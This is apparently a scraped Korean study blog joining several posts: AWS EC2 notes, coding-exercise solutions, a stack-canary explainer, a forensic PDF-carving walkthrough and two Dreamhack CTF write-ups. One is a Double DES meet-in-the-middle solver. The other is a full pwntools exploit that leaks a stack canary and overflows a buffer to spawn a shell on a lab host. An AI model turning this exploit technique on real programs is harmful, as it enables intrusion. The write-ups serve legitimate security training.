728x90

1회차

클라우드 컴퓨팅, 호스팅 : 서버컴퓨터 대여 서비스

EC2(Elastic Compute Cloud) : 순수하게 컴퓨터를 빌려주는 사업 

 

단순 컴퓨터 임대를 넘어 컴퓨터에 소프트웨어 설치 후 대신 운영해주는 방향으로 확장

RDS : 관계형 데이터베이스 서비스 형태로 제공

프리 티어 : aws와 같은 클라우드 서비에서는 사용자가 무료로 테스트를 해볼 수 있는 기간 혹은 양을 제공

 

2회차

 

EC2 서비스 켜기 

인스턴스 : EC2에서 컴퓨터 1대

인스턴스 시작 탭에서 여러 운영체제와 프리티어 사용 가능 여부 확인 가능 -> 운영체제를 선택하고 여러 사양의 컴퓨터를 선택

인스턴스 생성 전에 새로운 key pair를 생성해야함

인스턴스 상태가 running으로 전환되면 사용할 수 있는 상태가 됨

 

EC2 원격제어

접속할 인스턴스 우클릭 후 '연결' 클릭 > '원격 데스크톱 파일 다운로드' 클릭하여 필요 파일 다운

 

맥의 경우, microsoft remote desktop 프로그램을 다운받아 파일을 실행하여 원격 접속

윈도우의 경우, 따로 프로그램 설치 없이 파일을 실행하여 원격 접속 가능

AWS 암호가져오기 탭에서 이전에 생성한 key pair 파일을 업로드, 암호해독을 진행하면 암호(비밀번호) 생성됨 해당 비밀번호를 통해서 원격 데스크톱에 접속하 수 있음

 

EC2 서비스 끄기

우클릭 후 '인스턴스 상태' > '중지' 또는 '종료'

중지 : 컴퓨터의 전원을 끄는 것. 데이터 유지. 

종료 : 컴퓨터를 버리는 것. 데이터 삭제. 

 

돈 관리

'내 결제 대시보드'에서 항목별 비용 확인 가능

budgets 탭에서 예산 한도를 지정하여 알림 이메일을 받을 수 있음

 

보안(OTP)

IAM : 사용자와 사용자 권한을 관리하는 서비스

OTP : onetime password

루트 계정에서 MFA 활성화 : OTP를 활용하여 보안 강

 

계정 종료

'내 계정' 페이지에서 'Close Account' 버튼을 클릭하면 계정을 종료할 수 있음

90일까지는 재개 가능

사용하지 않는다면 계정을 종료하는 것이 보안사고를 막는것에 도움이 됨

 

클라우드 서비스를 살펴보는 것만으로 최신 IT 산업의 경향을 볼 수 있음

728x90

 

풀이

#!/usr/bin/env python3
from Crypto.Cipher import DES
import signal
import os

if __name__ == "__main__":
    signal.alarm(15)

    with open("flag", "rb") as f:
        flag = f.read()
    
    key = b'Dream_' + os.urandom(4) + b'Hacker'
    key1 = key[:8]
    key2 = key[8:]
    print("4-byte Brute-forcing is easy. But can you do it in 15 seconds?")
    cipher1 = DES.new(key1, DES.MODE_ECB)
    cipher2 = DES.new(key2, DES.MODE_ECB)
    encrypt = lambda x: cipher2.encrypt(cipher1.encrypt(x))
    decrypt = lambda x: cipher1.decrypt(cipher2.decrypt(x))

    print(f"Hint for you :> {encrypt(b'DreamHack_blocks').hex()}")

    msg = bytes.fromhex(input("Send your encrypted message(hex) > "))
    if decrypt(msg) == b'give_me_the_flag':
        print(flag)
    else:
        print("Nope!")

문제에서 제공된 파일을 살펴보자.

 

signal.alarm(15) : 15초 시간제한

key = b'Dream_' + os.urandom(4) + b'Hacker' : 랜덤 4바이트를 받아서 키를 구성

encrypt = lambda x: cipher2.encrypt(cipher1.encrypt(x)) : key를 앞뒤 8바이트씩 쪼개서 DES를 두 번 진행하는 방식으로 암호화

if decrypt(msg) == b'give_me_the_flag': print(flag) : give_me_the_flag를 암호화한 값(16진수 문자열)을 입력하면 flag를 획득

** bytes.fromhex(hex_string) : 16진수 문자열을 바이트 객체로 변환

 

https://gaeko-security-hack.tistory.com/102

 

[암호] DES

DES 알고리즘이 뭔지 알기 전에 블록암호와 블록암호의 구조에 대해 생각하여 보자. 블록암호는 주로 단순한 함수를 반복적으로 적용해서 암호학적으로 강한 함수를 만드는 과정으로 개발된다.

gaeko-security-hack.tistory.com

이중으로 사용된 DES의 경우 첫번째 키로 암호화해 얻은 암호문과 두번째 키로 복호화해 얻은 평문이 동일한 경우를 찾아두 개의 암호키를 한 번에 찾을 수 있다. 이러한 공격을 중간자 공격(Meet-in-the-Middle Attack)이라고 한다.

DES의 키 길이는 56비트이므로 가능한 키의 수는 2**56가지이고, double DES는 (2**25)x(2**25) = 2**112가지이다. 하지만 중간자공격을 사용하면 약 2**57번의 연산으로 키를 찾을 수 있다고 한다.

- 2**56개의 plain_text를 암호화 과정에서 계산한 후 저장하고,

- 2**56개의 cipher_text를 복화화한 값과 비교하는 방식으로 공격을 수행 

 

이 문제에서는 랜덤부분이 4바이트 뿐이므로 더 적은 양의 연산으로 비밀키를 알아낼 수 있다.

print(f"Hint for you :> {encrypt(b'DreamHack_blocks').hex()}") 부분이 제공되므로 DreamHack_blocks를 사전에 암호화해서 저장해두고, 서버에서 제공된 암호문을 복화하여 대조하면 된다.

from pwn import *
from Crypto.Cipher import DES

# DreamHack_blocks를 암호화한 값을 딕셔너리의 키로, 암호화에 사용된 키값을 딕셔너리의 값으로 저장
m = {}
for i in range(2**16):
    key1 = b'Dream_' + i.to_bytes(2,'big')
    cipher1 = DES.new(key1, DES.MODE_ECB)
    cipher_text = cipher1.encrypt(b'DreamHack_blocks')
    m[cipher_text] = key1
    
r = remote('host3.dreamhack.games',8920)
r.recvuntil(b':>')
data = bytes.fromhex(r.recvline().decode())
# DreamHack_blocks 암호화한 값을 바이트형태로 받아옴
print(data)

# 받아온 값을 복호화
for i in range(2**16):
    key2 = i.to_bytes(2,'big') + b'Hacker'
    cipher = DES.new(key2, DES.MODE_ECB)
    dec = cipher.decrypt(data)
    
    # 복호화한 값이 딕셔너리 m에 존재하면 비밀키 획득
    if dec in m:
        k1 = m[dec]
        k2 = key2
        break

cipher1 = DES.new(k1, DES.MODE_ECB)
cipher2 = DES.new(k2, DES.MODE_ECB)

#획득한 비밀키로 give_me_the_flag를 암호화하여 서버에 전달
send_msg = cipher2.encrypt(cipher1.encrypt(b'give_me_the_flag'))
print(send_msg.hex())

r.sendlineafter(b'> ', send_msg.hex().encode())
r.interactive()

위 내용을 코드로 작성하여 실행해보면 flag를 얻을 수 있다.

 

아직도 형식변환이 헷갈리는 슬픈 현실..

'Write-up > Crypto' 카테고리의 다른 글

[Dreamhack] ICM2022  (0) 2024.09.13
[Dreamhack] Robot Only  (0) 2024.05.13
[Dreamhack] RSA-wiener  (1) 2024.05.01
[Dreamhack] Textbook-RSA  (0) 2024.04.08
[Dreamhack] chinese what?  (0) 2024.04.08
728x90

n, k = map(int, input().split())
q = []

for i in range(n):
    if n%(i+1)==0:
        q.append(i+1)


if len(q)<k:
    print(0)
else :
    print(q[k-1])

'I.sly() > 10기 심화 - 프로그래밍' 카테고리의 다른 글

백준 2476번 주사위게임  (0) 2024.09.13
728x90

문제풀이

제공된 코드를 살펴봤을때, 평문 p가 주어졌을 때 암호화 방식은 아래 공식과 같다. 

이 식을 아래와 같이 정리해보면 복호화 방식을 알 수 있다.

여기서 readme 파일을 확인해보면 p 를 구하기 위해 필요한 것 중 모르는 것은 key1 밖에 없는 것을 확인할 수 있다. 이때코드에서 key2 보다 key1 이 작다는 것을 알 수 있고 , key1 은 1~94 까지의 값을 가진다 . 큰 범위가 아니므로 전수조사를 시행한다 .

복호화 공식에 따라 코드를 작성하고, 나누어 떨어지는 경우만 프린트하도록 하면 p 값을 얻을 수 있다 .

'Write-up > Crypto' 카테고리의 다른 글

[Dreamhack] Double DES  (0) 2024.09.20
[Dreamhack] Robot Only  (0) 2024.05.13
[Dreamhack] RSA-wiener  (1) 2024.05.01
[Dreamhack] Textbook-RSA  (0) 2024.04.08
[Dreamhack] chinese what?  (0) 2024.04.08
728x90

N = int(input())
p = []

for _ in range(N):
    a, b, c = map(int, input().split())
    d = 0
    
    if a == b == c :
        d = 10000 + a*1000
    elif a == b :
        d = 1000 + a*100
    elif b == c :
        d = 1000 + b*100
    elif c == a :
        d = 1000 + c*100
    else :
        d = 100 * max(a, b, c)
        
    p.append(d)

print(max(p))

'I.sly() > 10기 심화 - 프로그래밍' 카테고리의 다른 글

백준 2501번 약수 구하기  (0) 2024.09.18
728x90

카나리

함수 시작 시 스택 버퍼와 Return Address 사이에 랜덤 값을 삽입한 후 함수 종료 시 해당 랜덤 값의 변조 여부를 확인하여 메모리 오염 여부를 확인하는 보호 기법

 

카나리 생성 

`security_init` 함수에서 TLS에 랜덤 값으로 카나리를 설정하면, 매 함수에서 이를 참조하여 사용합니다.

 

카나리 우회 기법

- 무차별 대입 공격 (Brute Force Attack) : 무차별 대입으로 카나리 값을 구하는 방법. 현실적으로 불가능.

- TLS 접근 : 카나리는 TLS에 전역 변수로 저장되므로, 이 값을 읽거나 조작할 수 있으면 카나리를 우회 가능

- 스택 카나리 릭 : 함수의 프롤로그에서 스택에 카나리 값을 저장하므로, 이를 읽어낼 수 있으면 카나리를 우회할 수 있음. 가장 현실적인 카나리 우회 기

728x90

풀이

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}
void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(30);
}
void get_shell() { 
    system("/bin/sh");
} 
void print_box(unsigned char *box, int idx) {
    printf("Element of index %d is : %02x\n", idx, box[idx]);
}
void menu() {
    puts("[F]ill the box");
    puts("[P]rint the box");
    puts("[E]xit");
    printf("> ");
}
int main(int argc, char *argv[]) {
    unsigned char box[0x40] = {};
    char name[0x40] = {};
    char select[2] = {};
    int idx = 0, name_len = 0;
    initialize();
    while(1) {
        menu();
        read(0, select, 2);
        switch( select[0] ) {
            case 'F':
                printf("box input : ");
                read(0, box, sizeof(box));
                break;
            case 'P':
                printf("Element index : ");
                scanf("%d", &idx);
                print_box(box, idx);
                break;
            case 'E':
                printf("Name Size : ");
                scanf("%d", &name_len);
                printf("Name : ");
                read(0, name, name_len);
                return 0;
            default:
                break;
        }
    }
}

제공된 코드를 살펴보면 box와 name 모두 크기가 0x40으로 지정되어 있다. box는 정해진 크기만큼 입력을 받고, name은 사용자가 입력한 크기만큼 입력을 받는데 입력 크기 제한이 따로 있지 않아서 이 부분에서 버퍼오버플로우가 발생한다.  그리고 P 부분에서 입력된 인덱스의 box 값을 읽어주는데 따로 입력 인덱스에 제한을 두고 있지 않다. 이 부분에서느 카나리릭이 발생한다.

 

이제 gdb를 통해서 스택프레임 형태를 확인해보자.  while 안쪽 부분만 살펴보자.

   0x08048795 <+106>:   push   0x2
   0x08048797 <+108>:   lea    eax,[ebp-0x8a]  #select
   0x0804879d <+114>:   push   eax
   0x0804879e <+115>:   push   0x0
   0x080487a0 <+117>:   call   0x80484a0 <read@plt> #read(0, select,2)
   0x080487a5 <+122>:   add    esp,0xc

   0x080487d3 <+168>:   push   0x40
   0x080487d5 <+170>:   lea    eax,[ebp-0x88] #box
   0x080487db <+176>:   push   eax
   0x080487dc <+177>:   push   0x0
   0x080487de <+179>:   call   0x80484a0 <read@plt> #read(0,box, sizeof(box))
   0x080487e3 <+184>:   add    esp,0xc

   0x080487f5 <+202>:   add    esp,0x4
   0x080487f8 <+205>:   lea    eax,[ebp-0x94] #idx
   0x080487fe <+211>:   push   eax
   0x080487ff <+212>:   push   0x804898a
   0x08048804 <+217>:   call   0x8048540 <__isoc99_scanf@plt> #scanf("%d", &idx)
   0x08048809 <+222>:   add    esp,0x8

   0x0804882e <+259>:   add    esp,0x4
   0x08048831 <+262>:   lea    eax,[ebp-0x90] #name_len
   0x08048837 <+268>:   push   eax
   0x08048838 <+269>:   push   0x804898a
   0x0804883d <+274>:   call   0x8048540 <__isoc99_scanf@plt> #scanf("%d", &name_len)
   0x08048842 <+279>:   add    esp,0x8

   0x0804884f <+292>:   add    esp,0x4
   0x08048852 <+295>:   mov    eax,DWORD PTR [ebp-0x90] #name_len
   0x08048858 <+301>:   push   eax
   0x08048859 <+302>:   lea    eax,[ebp-0x48] #name
   0x0804885c <+305>:   push   eax
   0x0804885d <+306>:   push   0x0
   0x0804885f <+308>:   call   0x80484a0 <read@plt> #read(0, name, name_len)
   0x08048864 <+313>:   add    esp,0xc

[ebp-0x8a] : select
[ebp-0x88] : box
[ebp-0x94] : idx
[ebp-0x48] : name
[ebp-0x90] : name_len

인 것을 알 수 있다.

 

먼저 반환주소를 확인해주고, 

그 다음 SFP를 확인해주고,

적당히 돌리고 ebp-0x8에서부터 8개 바이트값을 읽어보았다. 그리고 canary 값을 확인해본 결과, dummy 값이 있다는 것을 알 수 있다. 

(사실 나는 이런 유식한 방법을 쓰지 않고 print_box를 이용해서 최대한 많은 메모리값을 출력해서 스택이 끝나는 지점, canary와 SFP 사이에 더미가 있다는 사실을 때려맞췄다.. 하나하나 세봤다 ㅎ)

알아낸 정보를 바탕으로 익스플로잇 코드를 작성했다. 

from pwn import *

p = remote('host3.dreamhack.games', 20417)
e = ELF("./ssp_001") 

get_shell = e.symbols['get_shell'] 

cnry = b'' 

for i in range(128,132):
    p.recvuntil(b'>')
    p.sendline(b'P')
    p.sendlineafter(b':', b'%d' % i)
    p.recvuntil(b': ')
    canary_byte = p.recvn(2) 
    cnry += bytes.fromhex(canary_byte.decode())

print("cannary:", cnry)

p.recvuntil(b'>')
p.sendline(b'E')

p.recvuntil(b':')
p.sendline(b'80')

payload = b'A'* 64 + cnry + b'A'* 8 + p32(get_shell)
p.sendlineafter(b':',payload)

p.interactive()

print_box를 이용해서 canary 값을 찾아냈다. 여기서 꼭 바이트 형식(\x)에 맞게 해줘야한다는 걸 잊지말아야한다. 이것 때문에 한참 헤맸다. 그리고 canary 값과 함께 버퍼오버플로우를 발생시키는 페이로드를 작성하여 넘겨주었다.

그리고 코드를 실행하면 셸을 얻고 flag 파일을 읽을 수 있다!

배운것

1. byte 형식! 잊지말기

2. `ELF`와 `symbols`를 이용하면 함수주소를 찾는 작업을 하지 않아도 된다!

'Write-up > Pwnable' 카테고리의 다른 글

[Dreamhack] Return to Shellcode  (0) 2024.05.22
[Dreamhack] basic_exploitation_001  (0) 2024.05.20
[Dreamhack] basic_exploitation_000  (0) 2024.05.20
[Dreamhack] Return Address Overwrite  (0) 2024.05.20
[Dreamhack] shell_basic  (0) 2024.05.11
728x90

풀이

문제파일에는 Image.E01 파일이 첨부되어있다.

 

E01 확장자 :  EnCase 이미지 파일 포맷을 사용하여 생성된 디스크 이미지. EnCase는 Guidance Software에서 개발한 디지털 포렌식 도구로, 법적 증거로 사용될 수 있는 디지털 증거를 수집, 분석 및 보고하는 데 널리 사용.

 

E01 파일 열기

  1. EnCase 사용
    • EnCase 소프트웨어를 실행하고 "File" 메뉴에서 "Add Evidence"를 선택하여 E01 파일을 엽니다.
    • 디스크 이미지가 로드되면, 파일 시스템을 탐색하고 분석할 수 있습니다.
  2. FTK Imager 사용
    • FTK Imager를 실행하고 "File" 메뉴에서 "Add Evidence Item"을 선택합니다.
    • "Image File"을 선택하고 E01 파일을 지정합니다.
    • 로드된 이미지를 탐색하고 필요한 데이터를 추출할 수 있습니다.

 

라고 GPT가 알려주었으니 무료 소프트웨어인 FTK Imager로 열어보자.

알려준대로 이미지 파일을 열었다. 

업로드하니 Evidence Tree 패널에 무언가 뜬다. 또 gpt에 물어보자.

 

Evidence Tree 패널 : 디스크 이미지 파일의 디렉터리 구조와 파일 시스템을 나타냄.

  1. Image.E01
    • 이는 EnCase에서 로드된 디스크 이미지 파일입니다. 파일 확장자가 .E01로 되어 있는 것은 EnCase 이미지 파일 포맷을 사용하고 있음을 나타냅니다.
  2. HUNJISON [NTFS]
    • 이는 E01 이미지 파일 안에 있는 NTFS 파일 시스템을 의미합니다. NTFS는 Windows 운영 체제에서 주로 사용되는 파일 시스템입니다.
    • NTFS 파일 시스템 안에 여러 폴더가 있습니다.
  3. [orphan]
    • 이 폴더는 NTFS 파일 시스템에서 부모 디렉터리를 잃어버린 고아 파일들을 나타냅니다. 일반적으로 삭제되었거나 디렉터리 구조가 손상된 파일들을 포함할 수 있습니다.
    • 삭제된 파일 복구 작업 시 중요한 폴더입니다.
    • 포렌식 분석에서의 활용 : 삭제되거나 부모 디렉터리가 손상된 파일들을 찾고 복구할 수 있습니다.
  4. [root]
    • 이는 NTFS 파일 시스템의 루트 디렉터리입니다. 디스크의 최상위 디렉터리를 나타내며, 여기서부터 모든 디렉터리와 파일이 시작됩니다.
    • 포렌식 분석에서의 활용 : 현재 파일 시스템에서 사용 중인 파일과 디렉터리를 탐색할 수 있습니다.
  5. [unallocated space]
    • 할당되지 않은 공간을 나타냅니다. 이 영역은 현재 파일 시스템에서 사용되지 않는 디스크 공간입니다.
    • 이 공간에는 이전에 삭제된 파일의 데이터가 남아있을 수 있으며, 포렌식 분석을 통해 복구할 수 있습니다.
    • 포렌식 분석에서의 활용 : 할당되지 않은 공간을 스캔하여 삭제된 파일을 복구하거나 숨겨진 데이터를 찾을 수 있습니다.

폴더들을 뒤져보니 unallocated space에 뭔가가 있다. 

파일을 열어보니 Hex들이 보인다. 그런데 헤더 시그니처가 PDF이다. 이게 삭제된 PDF파일인거 같다. 

export file을 한 후 확장자를 변경해서 열어봤는데 안 열린다.. 왤까.. 다시 gpt에게 물어보자. 

gpt가 파일 다른 조각이 있을 수 있다고 알려줬다. 

다른 파일들을 열어보니 05082 파일까지 내용이 있고 그 파일에서 푸터 시그니처도 발견했다. 아무래도 이 네 개의 파일을 합쳐야하나보다. 

010 Editor를 통해서 한땀한땀 Insert File로 합쳐줬다. 그리고 확장자를 바꿔서 열어보았다.

그랬더니 flag가 나왔다!!!

+ Recent posts